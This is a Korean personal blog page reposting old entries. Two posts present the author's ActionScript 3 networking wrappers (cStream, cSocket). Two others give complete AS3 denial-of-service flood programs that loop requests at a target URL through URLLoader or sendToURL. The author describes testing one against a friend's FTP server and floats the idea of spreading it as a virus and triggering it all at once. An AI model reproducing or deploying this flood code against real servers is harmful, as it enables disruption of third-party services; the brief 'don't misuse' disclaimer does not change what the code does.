본문 바로가기

네이버블로그 시절 고대유물 복원

============================================

 

ㅁㄴㅇㄹ

https://gitlab.com/DoctorChoiD0C70R_CH01/cstream

 

최박사 | D0C70R_CH01 / cStream

NetStream 개조함

gitlab.com

(별하나만 눌러주세요 재발)

 

이번에도 netStream을 단순히 최박사놈이 쓰기 편하자고 이상하게 만들어 버렸습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.doctorChoi.cStream;
import com.doctorChoi.cStreamEvent;
 
var cs: cStream = new cStream("<방이름>""<cirrus키>");
//객체 선언
 
cs.connect("<대상 peerID>");
//연결
 
cs.on(function (e: cStreamEvent): void
{
    //...
});
//이벤트
 
cs.send("<info>""<data");
//전송
cs

 

이번엔 친절히도 예제가 있습니다.

Adobe Animate CC 2018로 만들어져 있습니다. 

댓글

네이버블로그 시절 고대유물 복원

============================================

 

https://gitlab.com/DoctorChoiD0C70R_CH01/csocket

 

최박사 | D0C70R_CH01 / cSocket

그냥 XMLSocket 개조함

gitlab.com

(별하나만 눌러주세요 재발)

 

XMLSocket를 그냥 단순히 최박사놈이 편하자고 이상하게 만들어 버렸습니다.

버그가 굉장히 많을겁니다 아마...

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.doctorChoi.cSocket;
import com.doctorChoi.cSocketEvent;
 
var cs: cSocket = new cSocket("<포트>""<호스트>");
//객체 선언
 
cs.connect();
//연결
 
cs.on(function (e: cSocketEvent): void
{
    //...
});
//이벤트
 
cs.send("<info>""<data");
//전송
cs

 

너무 불친절하게도 예제가 없습니다.

근데 AS3 안버리고 잡고있는사람 몇명이나될까

댓글

네이버블로그 시절 고대유물 복원

============================================

 

람쥐.

 

--------------------------------------------

 

전글

 

 

그냥 AS3 Reference 보고있다보니 이런 함수가 있더군요.

 

전에 만든 디도스는 다운로드를 해오니 내 pc가 먼저 뻗어버리더라고요.

 

그래서 이걸 쓰면 요청만 날리니깐 화력을 더 높일수 있지 않을까 하고 코드를 바꿔보았죠.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package
{
    import flash.display.Sprite;
    import flash.net.URLRequest;
    import flash.events.MouseEvent;
    import flash.events.Event;
    import flash.net.sendToURL;
 
    public class Main extends Sprite
    {
        public var strTarget: String = "http://target.url/";
        public var ur: URLRequest = new URLRequest(strTarget);
        public var b: Boolean = false;
 
        public function Main(): void
        {
            stage.addEventListener(MouseEvent.CLICK, fddos);
        }
        
        public function fddos(e: MouseEvent): void
        {
            if (b)
            {
                stage.removeEventListener(Event.ENTER_FRAME, frun);
                b = false;
            }
            else
            {
                stage.addEventListener(Event.ENTER_FRAME, frun);
                b = true;
            }
        }
        
        public function frun(e: Event): void
        {
            for (var i: int = 0; i < 100; i++)
            {
                sendToURL(ur);
            }
        }
    }
}
cs

 

약간 수정했는데 테스트는 안해봤어요.

 

전에는 친구놈 서버에 날려서 테스트했는데 이번은 날릴 서버가 없군요.

 

으악

 

4월 10일 수정

import flash.net.sendToURL;

한줄 없어서 에러났네요 으악

 

 

댓글

네이버블로그 시절 고대유물 복원

============================================

 

람쥐.

 

 

A.S 3.0 의 클래스 중에 이런게 있어요.

https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/URLLoader.html

 

URLLoader - Adobe ActionScript® 3 (AS3 ) API 참조 설명서

override public function addEventListener(type:String, listener:Function, useCapture:Boolean = false, priority:int = 0, useWeakReference:Boolean = false):void언어 버전: ActionScript 3.0런타임 버전: AIR 1.0, Flash Player 9, Flash Lite 4 리스너

help.adobe.com

대충 설명하자면 URL의 내용을 받아오는건데

 

이걸로 초당 미친듯이 URL 내용을 다운로드해대면 디도스가 구현되지 않을까 생각해보고 만들어 보았어요.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package
{
    import flash.display.Sprite;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.events.MouseEvent;
    import flash.events.Event;
 
    public class Main extends Sprite
    {
        public var strTarget: String = "http://target.url/";
        public var ur: URLRequest = new URLRequest(strTarget);
        public var ul: URLLoader = new URLLoader();
        public var b: Boolean = false;
 
        public function Main(): void
        {
            stage.addEventListener(MouseEvent.CLICK, fddos);
        }
        
        public function fddos(e: MouseEvent): void
        {
            if (b)
            {
                stage.removeEventListener(Event.ENTER_FRAME, frun);
                b = false;
            }
            else
            {
                stage.addEventListener(Event.ENTER_FRAME, frun);
                b = true;
            }
        }
        
        public function frun(e: Event): void
        {
            for (var i: int = 0; i < 100; i++)
            {
                ul.load(ur);
            }
        }
    }
}
 
cs

일단 코드는 이렇게 생겼어요.

 

이 글을 보시는 분이 있을지는 모르겠지만 악용은 말아주세요.

 

타겟은 친구놈의 ftp 서버.

 

작동결과는 WireShark에 패킷이 쭈루룩 잡히긴 하는데 화력이 약해서 안뻗더군요.

 

아무튼

 

"작동은 하는데" 화력이 약하다.

 

이제 이걸 바이러스처럼 뿌려댄다음 특정 스위치로 한꺼번에 작동시킬수 있게 한다면 엄청난 물건이 나오겠군요.

그런데 그건 범죄잖아요?

안될거야 아마.

댓글